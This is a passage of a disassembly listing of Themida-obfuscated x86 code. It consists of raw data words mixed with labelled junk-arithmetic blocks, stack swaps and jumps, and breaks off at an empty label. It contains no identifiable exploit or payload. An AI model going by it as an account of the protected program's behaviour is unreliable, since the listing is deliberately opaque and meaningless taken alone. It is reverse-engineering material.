dd 2D04C483h, 5E1F2745h, 200BE9h, 2C8B5400h, 9EEE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5465D2: ; CODE XREF: Themida_:0054DACFj
push edx
push eax
push 47DE131Dh
pop eax
jmp loc_54E221
; ---------------------------------------------------------------------------
db 0FFh
a4S db '4$é~+',0
dw 0BA00h
dd 4, 5F79E9h, 9CC28100h, 1EF5384h, 292FE9D5h, 0EC830000h
dd 24348904h, 0DE45EABEh, 2EEC15Ch, 407E9h, 49354800h
dd 9D2698Ah, 0BB5358C1h, 23D54B3Dh, 5C26F381h, 0E3C14CC2h
dd 77E94303h
db 47h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54662F: ; CODE XREF: Themida_:00547373j
pop eax
add eax, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
jmp loc_543FE1
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4832414h, 108AE904h, 54010000h, 0E95A0424h, 2DDBh
dd 0E9814149h, 1, 4FECF181h, 0CF890502h, 0EBBBBA59h, 16E9FA5Eh
dd 81000050h, 300B15E3h, 81DBF737h, 0E3F174F3h, 0FBEEE984h
dd 372DFFFFh, 2D7F9808h, 448369B7h, 8B2434FFh, 89562434h
dd 4C681E6h, 83000000h, 89E904C6h, 81FFFFD3h, 4ECh, 24148900h
dd 6811E9h, 5F545700h, 2ADABE56h, 0F75633C8h, 348B2414h
dd 4C48324h, 2E33E9h, 0C8B6600h, 62316824h, 4890000h, 75B56824h
dd 38E90000h, 5F00007Bh, 6413E9h, 0F356800h, 14890000h
dd 8090B224h, 0B551B3E2h, 0FECDFE50h, 0FFED80C5h, 81E95366h
dd 6600003Eh, 0E5B652h, 45A66F0h, 2CF82866h, 28B9E966h
dd 68500000h, 135915EBh, 3E0C158h, 2ADBE9h, 24148900h
dd 0FFE7E2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_546731: ; CODE XREF: Themida_:00545353j
push dword ptr [esp]
pop ebx
push esi
jmp loc_54934C
; ---------------------------------------------------------------------------
loc_54673B: ; CODE XREF: Themida_:0054D69Ej
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
jmp loc_543A20
; ---------------------------------------------------------------------------
dd 68E9D389h, 81FFFFE3h, 0C544EEF7h, 5FF8012Dh, 80CBE9h
dd 54B26800h, 7CE90000h, 51000053h, 162CE9h, 815E5400h
dd 4C6h, 4EE8100h, 87000000h, 248B2434h, 243C8924h, 0BFh
dd 0DFDE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546792: ; CODE XREF: Themida_:0054C08Ej
push edi
jmp loc_5442A5
; ---------------------------------------------------------------------------
loc_546798: ; CODE XREF: Themida_:0054A4A6j
add ecx, 466242AFh
jmp loc_548103
; ---------------------------------------------------------------------------
db 88h
dd 88D5F6DDh, 0C8B66EBh, 14E95624h, 89000039h, 2C96E9E2h
dd 0E9520000h, 0FFFFDEC0h, 0E904E5C1h, 0FFFFD480h, 0E92434FFh
dd 45CEh, 24048B66h, 0E9595451h, 85F2h
; ---------------------------------------------------------------------------
loc_5467DC: ; CODE XREF: Themida_:0054E84Fj
sub ax, 0FDEh
sub ax, dx
push 739Ah
mov [esp], ebx
jmp loc_5482A5
; ---------------------------------------------------------------------------
dd 515BD801h, 2B9h, 3CC72D00h, 0C8017501h, 13CC705h, 89E95975h
db 52h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54680B: ; CODE XREF: Themida_:0054D819j
xchg edx, edi
xor edi, 5212088Dh
jmp loc_545F4C
; ---------------------------------------------------------------------------
loc_546818: ; CODE XREF: Themida_:00544259j
xor edi, esi
push dword ptr [esp]
pop esi
add esp, 4
add edi, 1
xor edi, 81573BA0h
push edi
pop eax
pop edi
and ecx, eax
mov eax, [esp]
add esp, 4
shr ecx, 6
push 0BBDh
mov [esp], ebp
push 4488h
mov [esp], edi
mov edi, esp
jmp loc_5444B1
; ---------------------------------------------------------------------------
dw 0FE01h
dd 0FFF43BE9h, 0C8B66FFh, 0E7895724h, 4C781h, 0EF830000h
dd 0DD7EE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54686E: ; CODE XREF: Themida_:0054EAD4j
add ecx, esi
pop esi
push ecx
jmp loc_54E18C
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFFD1A4h, 0E9243C33h, 69BCh, 0C181E189h, 4, 4E981h
dd 0C870000h, 81E95C24h, 57FFFFF9h, 1BFh, 0E9F90100h, 3F02h
dd 2404D366h, 0D16EE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5468B2: ; CODE XREF: Themida_:005491FFj
push 31B0h
mov [esp], ecx
sub esp, 4
mov [esp], ebx
push 1D8B593Fh
pop ebx
jmp loc_548167
; ---------------------------------------------------------------------------
db 89h
dd 2434FFEEh, 4C4835Dh, 6F4EEF68h, 0C7815F5Dh, 73775BA6h
dd 0EF81F729h, 73775BA6h, 0E924348Bh, 5566h, 240C8B66h
dd 3C8B5457h, 9FE95024h, 51FFFFDEh, 8174B7B9h, 59CA291Dh
dd 23E9D701h
db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54690F: ; CODE XREF: Themida_:0054EFECj
pop eax
jmp loc_5455FC
; ---------------------------------------------------------------------------
db 0FFh, 77h, 1Ch
dd 6659669Dh, 9C241CD3h, 0FFD0FBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_546925: ; CODE XREF: Themida_:0054DE47j
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
shr byte ptr [esp], cl
pushf
jmp loc_543A20
; ---------------------------------------------------------------------------
db 81h
dd 0A45F6FEAh, 0E9535B2Fh, 0FFFFF7A6h, 83D830ACh, 1C8904ECh
dd 859FE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546952: ; CODE XREF: Themida_:0054D39Aj
add esp, 4
sub edx, ebp
mov ebp, [esp]
jmp loc_54540A
; ---------------------------------------------------------------------------
dw 2B9h
dd 29000000h, 240C8BCDh, 4C481h, 0FF550000h, 5D042474h
dd 8B24048Fh, 89662424h, 0F66240Ch, 5166C8B6h, 0D092E99Ch
dd 1489FFFFh, 4EC8324h, 24048F54h, 4240483h, 0FFD91FE9h
dd 91E981FFh, 12F870Fh, 91C181C1h, 0E92F870Fh, 2365h, 2784E946h
dd 0F1090000h, 0E4E9815Eh, 0E9FFB703h, 8897h, 6C37D9BFh
dd 0E6C7817Dh, 0C15C923Eh, 0B9E903E7h, 5000052h, 3BC0EA3h
dd 0E2E9C801h, 83000087h, 0E9C304C4h, 565Eh, 4BD555Ch
dd 1000000h, 1C875DEBh, 24248B24h, 5124048Bh, 13AC68h
dd 24248900h, 4240481h, 0E9000000h, 0FFFFDB85h, 5605EEC1h
dd 1F75E9h, 0E9D82900h, 734Bh, 0FFC0B60Fh, 0EDE98734h
db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_546A33: ; CODE XREF: Themida_:0054CDFDj
mov edx, 319951FFh
dec edx
xor edx, 2CED3425h
shl edx, 7
shl edx, 4
jmp loc_5475D3
; ---------------------------------------------------------------------------
loc_546A4A: ; CODE XREF: Themida_:0054C64Dj
mov ecx, esp
add ecx, 4
jmp loc_54AC65
; ---------------------------------------------------------------------------
db 89h
dd 1E34E9E0h, 0E8010000h, 8904EC83h, 0D2BA2414h, 0E93CB550h
dd 0FFFFDCE9h
; ---------------------------------------------------------------------------
loc_546A70: ; CODE XREF: Themida_:00544D0Aj
pop ebx
jmp loc_54508A
; ---------------------------------------------------------------------------
dw 8B66h
dd 0EC812404h, 4, 89240C89h, 4EC81E1h, 89000000h, 4BD242Ch
dd 1000000h, 242C8BE9h, 6804C483h, 74C7h, 0BE243489h, 2
dd 51E4B850h, 0E9482F5Eh, 1133h, 6028C781h, 0CF29111Fh
dd 6028EF81h, 0C7E9111Fh
db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_546AC7: ; CODE XREF: Themida_:0054CAA3j
pop edx
shr eax, 10h
xor eax, ecx
push edx
push esp
pop edx
push eax
mov eax, 4
sub edx, 5E0F042Eh
add edx, eax
push ebp
mov ebp, 5E0F042Eh
add edx, ebp
jmp loc_54F171
; ---------------------------------------------------------------------------
loc_546AEB: ; CODE XREF: Themida_:0054CBDBj
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
or eax, eax
jz loc_54EB67
push dword ptr [edi+1Ch]
push ebx
mov ebx, 2FB0367Ch
xor [esp+4], ebx
push dword ptr [esp]
pop ebx
jmp loc_54F8CE
; ---------------------------------------------------------------------------
loc_546B16: ; CODE XREF: Themida_:005478D2j
add edi, ebx
add edi, 3E074B0Dh
pop ebx
sub edx, 18E43009h
jmp loc_543A9F
; ---------------------------------------------------------------------------
loc_546B2A: ; CODE XREF: Themida_:00544534j
mov esi, [esp]
add esp, 4
and eax, ecx
mov ecx, [esp]
jmp loc_547572
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 685DEB01h, 7229h, 0BE243489h, 2, 0E95EF301h, 0FFFFEC6Eh
dd 515AD031h, 0FFFD23E9h, 0B6EB81FFh, 81E80247h, 522DCFC2h
dd 0FFC28126h, 81764D06h, 43581AEAh, 81DA292Fh, 43581AC2h
dd 0FFEA812Fh, 0E9764D06h, 0FFFFD3CDh
; ---------------------------------------------------------------------------
loc_546B8C: ; CODE XREF: Themida_:0054F51Dj
mov [esp], eax
mov eax, 0A0596869h
jmp loc_54D082
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 0E689565Eh, 4C681h, 0C6830000h, 24348704h, 0CE6EE95Ch
dd 815BFFFFh, 4C3h, 4C38300h, 0E9241C87h, 7E99h
; ---------------------------------------------------------------------------
loc_546BC4: ; CODE XREF: Themida_:00543C2Fj
xor [esp], eax
jmp loc_5491E6
; ---------------------------------------------------------------------------
dd 0C159CE21h, 0DEF703EEh, 605BEE81h, 0F681241Eh, 49467C8Bh
dd 4F9FEE81h, 0F0293CEFh, 57E8015Eh, 3D5CEFBFh, 0A8F78108h
dd 8174F26Bh, 937C33EFh, 0C1DFF707h, 0C78104EFh, 3BB5E483h
dd 5373F781h, 8147252Ch, 970813EFh, 8BF8010Ah, 0C481243Ch
dd 4, 83242C8Bh, 0C33104C4h, 56E9C231h, 8900006Fh, 1BD242Ch
dd 9000000h, 34FF1C6Fh, 2434FF24h, 8B2434FFh, 0C483242Ch
dd 73F0E904h, 0D3660000h, 0E99C242Ch, 0FFFFCDC8h, 5C241487h
dd 54240C89h, 6343E959h, 815A0000h, 6A1C1CCAh, 0FCE9500Fh
dd 0F7FFFFCFh, 81F787DEh, 5FCA8BF7h, 5FF889AEh, 34FFC301h
dd 0C3E95824h, 0BAFFFFF3h, 70BD48BEh, 0D0895057h, 8958C789h
dd 815A5FFEh, 42B746C6h, 5EF7018Fh, 5C243C87h, 4BF368h
dd 242C8900h, 0C581E589h, 4, 4A60E9h
db 0
; ---------------------------------------------------------------------------
loc_546CBD: ; CODE XREF: Themida_:0054E16Cj
mov ecx, 3534759Ah
xor ecx, 3534759Eh
add ebx, ecx
pop ecx
push edi
jmp loc_544CE6
; ---------------------------------------------------------------------------
db 53h, 88h, 0D7h
dd 685BF888h, 3829h, 83241489h, 0C8904ECh, 50C58824h, 66F2E9h
dd 34AA6800h, 14890000h, 50BFB224h, 0C200B1B0h, 4778E958h
dd 882D0000h, 81711676h, 0B2E1CEEh, 81C6014Fh, 0B2E1CC6h
dd 24048B4Fh, 4C481h, 34870000h, 5AD2E924h, 89560000h
dd 4C681E6h, 81000000h, 2EEh, 24348700h, 2C89665Ch, 11E95224h
db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_546D43: ; CODE XREF: Themida_:0054D117j
mov edx, ebx
pop ebx
loc_546D46: ; CODE XREF: Themida_:loc_548E8Aj
; Themida_:0054D312j
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_54D887
; ---------------------------------------------------------------------------
db 28h
dd 0EEC280C2h, 0CA805866h, 5EAC030h, 0FFE153E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_546D69: ; CODE XREF: Themida_:0054D9B6j
mov ebx, 64C36069h
dec ebx
dec ebx
push ebp
jmp loc_54A3FC
; ---------------------------------------------------------------------------
loc_546D76: ; CODE XREF: Themida_:00544222j
xchg ebx, [esp]
pop esp
push ebp
mov ebp, 15E236D5h
jmp loc_54FA59
; ---------------------------------------------------------------------------
loc_546D85: ; CODE XREF: Themida_:0054836Fj
add edi, 6B075561h
add edi, 63F43C8Fh
jmp loc_549237
; ---------------------------------------------------------------------------
dw 5756h
dd 0FFE788E9h, 186851FFh, 89000027h, 4812424h, 424h, 3587E900h
dd 0C890000h, 0C0E4B524h, 0CDFE04EDh, 8003EDC0h, 0F580FFC5h
dd 493DE98Dh, 0C0090000h, 423D840Fh, 0AA680000h, 8900002Fh
dd 0FE682404h, 8B000000h, 15E92404h
db 3Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_546DE7: ; CODE XREF: Themida_:0054AA06j
add eax, 4
sub eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
mov [esp], esi
push ecx
mov cx, 2943h
push di
mov di, 9110h
mov si, di
jmp loc_548B80
; ---------------------------------------------------------------------------
db 21h
dd 2434FFF3h, 2A6DE95Eh, 49BE0000h, 0B81C9910h, 0E82F0A72h
dd 2D5EF001h, 4B795587h, 4008E0C1h, 2B33E9h, 28D9B600h
dd 148B66F3h, 2C48324h, 0C380C300h, 798A68D9h, 0C890000h
dd 1210E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546E52: ; CODE XREF: Themida_:0054B862j
and ebx, ebp
mov ebp, [esp]
add esp, 4
shl ebx, 8
add ebx, 7FDF9FFFh
sub [edi+24h], ebx
pop ebx
loc_546E67: ; CODE XREF: Themida_:0054C2CFj
push edi
jmp loc_5498C3
; ---------------------------------------------------------------------------
db 0F7h, 0D7h, 0C1h
dd 0BE5608E7h, 0B9C30DFCh, 0CEE9F729h, 2900003Ah, 0EEC15DEEh
dd 0D4EE8104h, 8156E40Bh, 3AD6B8C6h, 5EF301C0h, 89C78957h
dd 243C8BFAh, 5E39E951h, 0BAB00000h, 0C059B551h, 0CDFE03E5h
dd 804AC580h, 0DCE9E5EDh
db 20h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_546EB7: ; CODE XREF: Themida_:0054B27Ej
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edi
jmp loc_547DFB
; ---------------------------------------------------------------------------
aLSz db '[‹<$é‡*',0
align 2
dw 0CF81h
dd 4E317CAFh, 0C87CEF81h, 0F829C5F7h, 7D52E9h, 243C8900h
dd 0B4E9E789h, 0F7FFFFE4h, 2585E9D1h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546EFA: ; CODE XREF: Themida_:0054B65Ej
mov esp, [esp]
jmp loc_545C89
; ---------------------------------------------------------------------------
dw 8B66h
dd 0E955240Ch, 0FFFFF6BDh, 171EEA81h, 0E8E95939h, 81000043h
dd 0B97BD5C3h, 0A8F38120h, 9007708h, 0FE3E9DAh, 0FC680000h
dd 0E900004Ch, 14DEh, 89240489h, 0E08950E0h, 405h, 42D00h
dd 0B5E90000h, 66FFFFCFh, 0B0240489h, 66C7307Ch, 4CD2C58h
dd 0E9F80081h, 893Ch, 66D1F766h, 0D6BF6657h, 0F9016632h
dd 21665F66h, 240C8BCAh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_54FA09
; ---------------------------------------------------------------------------
loc_546F8B: ; CODE XREF: Themida_:00543A87j
sub dword ptr [edx+38h], 215B7B86h
xchg ebp, [edx+38h]
push ebp
not dword ptr [esp]
pop ebp
xchg ebp, [edx+38h]
inc dword ptr [edx+38h]
shl dword ptr [edx+38h], 5
and dword ptr [edx+38h], 530467E0h
jmp loc_54E507
; ---------------------------------------------------------------------------
loc_546FB0: ; CODE XREF: Themida_:00544A33j
push ebp
pop edx
mov ebp, [esp]
sub esp, 4
jmp loc_5486A1
; ---------------------------------------------------------------------------
dd 4C481h
db 2 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
mov eax, 4
add ebp, eax
pop eax
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push edx
mov edx, 5EE21FA1h
mov edi, edx
pop edx
and edi, 7CBF3879h
add edi, 163D4FE0h
inc edi
sub edi, 249750E3h
dec edi
inc edi
jmp loc_54B9A1
; ---------------------------------------------------------------------------
db 52h
dd offset dword_4EF14C+69Dh
dd 81E78900h, 4C7h, 4EC8100h, 89000000h, 7EB9240Ch, 492B0315h
dd 0FFFFBF57h, 0F929FFFFh, 0DFBF575Fh, 53459721h, 0FC7A31BBh
dd 0B7CB814Fh, 0C1557207h, 0CB8106EBh, 6FC0400h, 39FBC381h
dd 0F3810BE0h, 0E071BF4h, 13BBC381h, 0DF01BB0Dh, 0E9F9215Bh
dd 0FFFFCF48h, 0C280E228h, 0D030584Bh, 8124148Bh, 4C4h
dd 4998E900h, 0BA2D0000h, 5205E503h, 517310BAh, 81DAF70Ah
dd 0D672BEE2h, 0FBEA817Eh, 4A2BB542h, 2D32BD55h, 0D5F735B3h
dd 0E0F5814Dh, 81D3F85Ah, 2D25EAh, 81EA0159h, 2D25C2h
dd 0D0295D59h, 5F0295Ah, 628545E0h, 0E503BA05h, 0EB815E05h
dd 7781C9Ah, 694F68h, 24048900h, 1E01E2B8h, 75103518h
dd 86352B95h, 2913710Ah, 5609E9C3h, 0E9520000h, 4CBBh
dd 24040966h, 0C932E99Ch, 0E4B4FFFFh, 0E1008EB1h, 0FFDCE0E9h
dd 240C31FFh, 0FFE476E9h, 80CB00FFh, 0C8BDAEBh, 5909E924h
dd 435A0000h, 4303EBC1h, 7A48BF57h, 0E7C112DAh, 8C78106h
dd 8120740Dh, 4896CFC7h, 5FFB29FDh, 9AE9DA29h, 89FFFFFDh
dd 4C381E3h, 57000000h, 0C781E789h, 4, 0E904EF83h, 1176h
; ---------------------------------------------------------------------------
loc_54714C: ; CODE XREF: Themida_:0054A972j
sub esi, 4
xchg esi, [esp]
jmp loc_5495F7
; ---------------------------------------------------------------------------
dw 0EE81h
dd 40D37233h, 445EEE81h, 0DEF70C21h, 2248C681h, 0F6813D5Eh
dd 0A4B3FD0Ch, 295EF189h, 0A7E95AD1h, 66000028h, 0E9240C8Bh
dd 839Ah, 0E95DE929h, 2FFh
; ---------------------------------------------------------------------------
loc_547190: ; CODE XREF: Themida_:0054CEF5j
dec edx
inc edx
shr edx, 1
xor edx, 74F83512h
xor edi, edx
pop edx
jmp loc_549933
; ---------------------------------------------------------------------------
dw 1433h
dd 24143124h, 8B241433h, 8B662424h, 0FC682404h, 89000006h
dd 5D54242Ch, 1BC0BB53h, 814362C5h, 0C51BBDEBh, 0E9DD0162h
dd 5190h, 4EB8159h, 87000000h, 895C241Ch, 0EFB9240Ch, 8132F078h
dd 6D988EE9h, 59CF01E6h, 505FF831h, 457FE2B8h, 66DDE92Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5471FA: ; CODE XREF: Themida_:005495E1j
add ebx, 4
push ecx
jmp loc_54A8F5
; ---------------------------------------------------------------------------
loc_547206: ; CODE XREF: Themida_:0054CA6Aj
mov [esp], edx
push ebx
push eax
push 413B41D4h
pop eax
not eax
sub eax, 0FE873E6h
and eax, 747033CDh
jmp loc_54C802
; ---------------------------------------------------------------------------
dw 0C159h
dd 0CA8104EAh, 65A306EFh, 0DDE9DAF7h, 66FFFFCAh, 0E924048Bh
dd 3419h, 0E904C483h, 5B7Fh, 5C243487h, 0FFFB49E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54724D: ; CODE XREF: Themida_:0054B6BFj
sub cl, 68h
xor cl, 7Eh
not cl
jmp loc_547802
; ---------------------------------------------------------------------------
dw 0DF01h
dd 4A13EF81h, 66E90915h, 89000058h, 4812424h, 424h, 57515800h
dd 0CE9E789h, 500002Eh, 4, 0E904C083h, 5033h, 1E9F328h
dd 81000022h, 4C4h, 4C48300h, 0FFF342E9h, 48B66FFh, 69E95724h
db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5472A7: ; CODE XREF: Themida_:0054AB01j
mov ebp, 0BB179A2Eh
add ebp, edi
pop edi
push ebx
push ebp
push eax
mov eax, 479D1374h
xor [esp+4], eax
pop eax
mov ebx, [esp]
push ebx
mov ebx, esp
jmp loc_54B501
; ---------------------------------------------------------------------------
loc_5472C7: ; CODE XREF: Themida_:0054D837j
add [esp+4], ebp
jmp loc_54FA71
; ---------------------------------------------------------------------------
dd 0FBFCDFBFh, 8BFE316Fh, 87E9243Ch
db 65h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5472DF: ; CODE XREF: Themida_:005485CFj
mov [esp], ebp
jmp loc_54AAFB
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 241C8900h, 5DBE68h, 1AAEE900h, 74FF0000h, 3C8B0424h
dd 0E1895124h, 4C181h, 0F8E90000h, 8100001Bh, 0A7345BEEh
dd 2B85079h, 0D374F36h, 0F327CB0h, 902BEB35h, 5D8F710h
dd 0B459A18Ah, 958C601h, 81475EF7h, 65F9FDC7h, 5FFE09BAh
dd 17C6E9h, 0B2526600h, 66D38849h, 5FEB805Ah, 8FE9EB00h
dd 0BE000065h, 14CB0F97h, 5198F681h, 51E94002h
db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_547363: ; CODE XREF: Themida_:0054B3B4j
add edi, edx
jmp loc_54895F
; ---------------------------------------------------------------------------
loc_54736A: ; CODE XREF: Themida_:00547431j
push 1BE4h
mov [esp], eax
push esp
jmp loc_54662F
; ---------------------------------------------------------------------------
dd 0E9D7C780h, 29F6h
; ---------------------------------------------------------------------------
loc_547380: ; CODE XREF: Themida_:0054C176j
neg ecx
not ecx
add ecx, 0BC3FAC2Bh
jmp loc_54A464
; ---------------------------------------------------------------------------
db 5Ah
dd 31FFF901h, 4DCEE958h, 14890000h, 4EC8124h, 89000000h
dd 4832424h, 535A0424h, 0B54ACFBBh, 81D3F75Ch, 280F93E3h
dd 8BEB817Ah, 0E9713C3Bh, 83FBh, 240C8B66h, 57585450h
dd 163AE9h, 0E9EBB400h, 0FFFFF10Dh, 4247431h, 1F32E9h
dd 5EF02900h, 981DCF2Dh, 68E80158h, 16E2h, 0BB241C89h
dd 58981DCFh, 3145E9h, 0B7535900h, 2CF8076h, 3026F780h
dd 0C6305BF8h, 5624048Bh, 0C681E689h, 4, 0FFD2B3E9h, 24048FFFh
dd 6167E9h
db 0
; ---------------------------------------------------------------------------
loc_547425: ; CODE XREF: Themida_:0054DA7Aj
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_54736A
; ---------------------------------------------------------------------------
loc_547436: ; CODE XREF: Themida_:0054F495j
pop ebp
jmp loc_54B1B1
; ---------------------------------------------------------------------------
dd 50240C8Bh, 656A68h, 0FE1DE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54744A: ; CODE XREF: Themida_:0054E757j
or eax, eax
jz loc_549FEB
push dword ptr [edi+28h]
push ebp
mov ebp, 57CE4FB4h
shl ebp, 6
jmp loc_54D476
; ---------------------------------------------------------------------------
aLSX db ',‹(Èé%x',0
align 4
dd 4C481h, 48F0000h, 3086E924h, 0EF810000h, 90A2B0Ch, 81DF015Dh
dd 6E0E7BC7h, 34E95B11h, 29000041h, 815D59CEh, 3302D7F6h
dd 5EEC11Fh, 32268h, 24048900h, 243B3EB8h, 58C629F2h, 7C83E9h
db 0
; ---------------------------------------------------------------------------
loc_5474B1: ; CODE XREF: Themida_:0054A4C7j
mov ah, cl
pop ecx
add dl, ah
pop eax
xor al, dl
push dword ptr [esp]
pop edx
push edi
mov edi, esp
push ebx
jmp loc_54893C
; ---------------------------------------------------------------------------
dw 0C483h
dd 25E1E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5474CE: ; CODE XREF: Themida_:00544FD3j
push 370Dh
mov [esp], edi
push 4A491F77h
pop edi
jmp loc_549CD2
; ---------------------------------------------------------------------------
db 0E9h, 3Ah, 0C5h
dd 0C283FFFFh, 24148702h, 6624248Bh, 8124048Bh, 4ECh, 242C8900h
dd 37E7E9h
db 0
; ---------------------------------------------------------------------------
loc_547501: ; CODE XREF: Themida_:0054B2C9j
xchg ebp, [esp]
pop esp
mov [esp], esi
jmp loc_54953D
; ---------------------------------------------------------------------------
db 68h, 61h, 64h
dd 2C890000h, 4BD24h, 0C3810000h, 21C9504Eh, 0EB81EB01h
dd 21C9504Eh, 74FF535Dh, 8F5B0424h, 248B2404h, 0F9F0E924h
dd 0E959FFFFh, 6BA5h, 4BB0F66h, 90E99C24h, 0F6000058h
dd 2CF480DCh, 52E9E588h, 900004Fh, 4A62E9C3h, 0C5050000h
dd 520970Ah, 357473AEh, 5D2434FFh, 52F4E957h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547572: ; CODE XREF: Themida_:00546B35j
add esp, 4
or edx, eax
shl edx, 1
push edx
push edi
mov edi, esp
jmp loc_54ABFF
; ---------------------------------------------------------------------------
db 68h, 2Bh, 1Eh
dd 91E97C47h, 29FFFFE8h, 5FFA87D7h, 5508BE56h, 2DE97180h
dd 0BF00005Dh, 26EF1AD4h, 0F781D7F7h, 390C2E8Dh, 0FFF925E9h
dd 5F5457FFh, 4C781h, 0C7810000h, 4, 8B243C87h, 68552424h
dd 19566531h, 0CCE9575Dh
db 3 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5475D3: ; CODE XREF: Themida_:00546A45j
add edx, 5CD12824h
add edx, edi
xor ecx, [edx]
pop edx
xor [edi+24h], ecx
add ecx, 1
push dword ptr [edi+24h]
jmp loc_5498DD
; ---------------------------------------------------------------------------
loc_5475EF: ; CODE XREF: Themida_:0054A488j
add dword ptr [esp], 68B84398h
push dword ptr [esp]
pop eax
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
sub eax, 68B84398h
push dword ptr [esp]
mov edi, [esp]
add esp, 4
add esp, 4
push 29F1h
jmp loc_545358
; ---------------------------------------------------------------------------
db 53h, 68h, 6Bh
dd 5B280230h, 5275EB81h, 0A5E91904h, 8100000Dh, 4C2h, 4C28100h
dd 0E9000000h, 5F38h, 2CBEE955h, 94BF0000h, 814ABB44h
dd 122556CFh, 7E7C127h, 0C20BEF81h, 0FB31691Ah, 0E9243C8Bh
dd 4728h, 8324348Bh, 0EB8104C4h, 16E07993h, 2A66C381h
dd 0B2E93A9Bh
db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_547683: ; CODE XREF: Themida_:00546392j
add ecx, edi
pop edi
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
add ebx, 5B5D1F1Fh
add ebx, 668800E8h
sub ebx, eax
sub esp, 4
jmp loc_548CFF
; ---------------------------------------------------------------------------
dd 0E9243C8Bh, 0FFFFD3F4h
; ---------------------------------------------------------------------------
loc_5476B0: ; CODE XREF: Themida_:0054EB7Dj
push 46B9h
jmp loc_548986
; ---------------------------------------------------------------------------
dw 0F0BFh
dd 4F59111Eh, 7828CF81h, 0E7C11D37h, 74EF8103h, 1E9BBF7h
dd 0E9505FFEh, 0FFFFEE32h, 0E902C783h, 617Eh, 4BA525Ah
dd 1000000h, 28E95AD3h, 0F7000066h, 0D169E9D9h, 685CFFFFh
dd 2D89h, 89241C89h, 4C381E3h, 83000000h, 1C8704C3h, 4315C24h
dd 3FE99C24h, 81FFFFE7h, 52CCE4F1h, 8BCF89AFh
db 0Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_54B585
; ---------------------------------------------------------------------------
dw 0E820h
dd 81240C8Bh, 4C4h, 11476800h, 1C890000h, 4EC8124h, 0E9000000h
dd 0FFFFF246h, 8B2434FFh, 89572404h, 4C781E7h, 81000000h
dd 4C7h, 243C8700h, 3FF1E95Ch, 73B90000h, 0E950C925h, 0FFFFE9E6h
; ---------------------------------------------------------------------------
loc_547770: ; CODE XREF: Themida_:00547D79j
pop ebx
mov dx, [esp]
add esp, 2
sub bx, 31E4h
push dx
mov dx, 4AFh
add bx, dx
jmp loc_54E433
; ---------------------------------------------------------------------------
dw 0C301h
dd 0E9545355h, 1182h
; ---------------------------------------------------------------------------
loc_547798: ; CODE XREF: Themida_:0054EFFFj
pop esp
sub esp, 4
jmp loc_548A39
; ---------------------------------------------------------------------------
loc_5477A1: ; CODE XREF: Themida_:0054929Ej
mov edi, 4
add ebp, edi
pop edi
add ebp, 4
jmp loc_548DC8
; ---------------------------------------------------------------------------
aIXblI db '‰ÂXl$',8,'‰$Ý',0
aTSO db ')T$',8,'é¶O',0
align 4
dd 31240C33h, 0C33240Ch, 24248B24h, 6824048Bh, 2BE7h, 62F3E9h
dd 4AE95900h, 21000008h, 24148BD0h, 0C104C483h, 0A7E908E8h
dd 52000062h, 0DF5E9ABAh, 782BE953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547802: ; CODE XREF: Themida_:00547255j
sub cl, 4Ch
add bl, cl
pop ecx
movzx eax, al
jmp loc_547CD9
; ---------------------------------------------------------------------------
loc_547810: ; CODE XREF: Themida_:005444CBj
pop ebp
push esi
mov esi, 1F5A5B02h
jmp loc_54654F
; ---------------------------------------------------------------------------
dd 575EF201h, 2BFh, 0B2EA8100h, 0E91EBC30h, 18AFh
; ---------------------------------------------------------------------------
loc_547830: ; CODE XREF: Themida_:005454F9j
inc ebp
not ebp
jmp loc_54409B
; ---------------------------------------------------------------------------
loc_547838: ; CODE XREF: Themida_:00543A79j
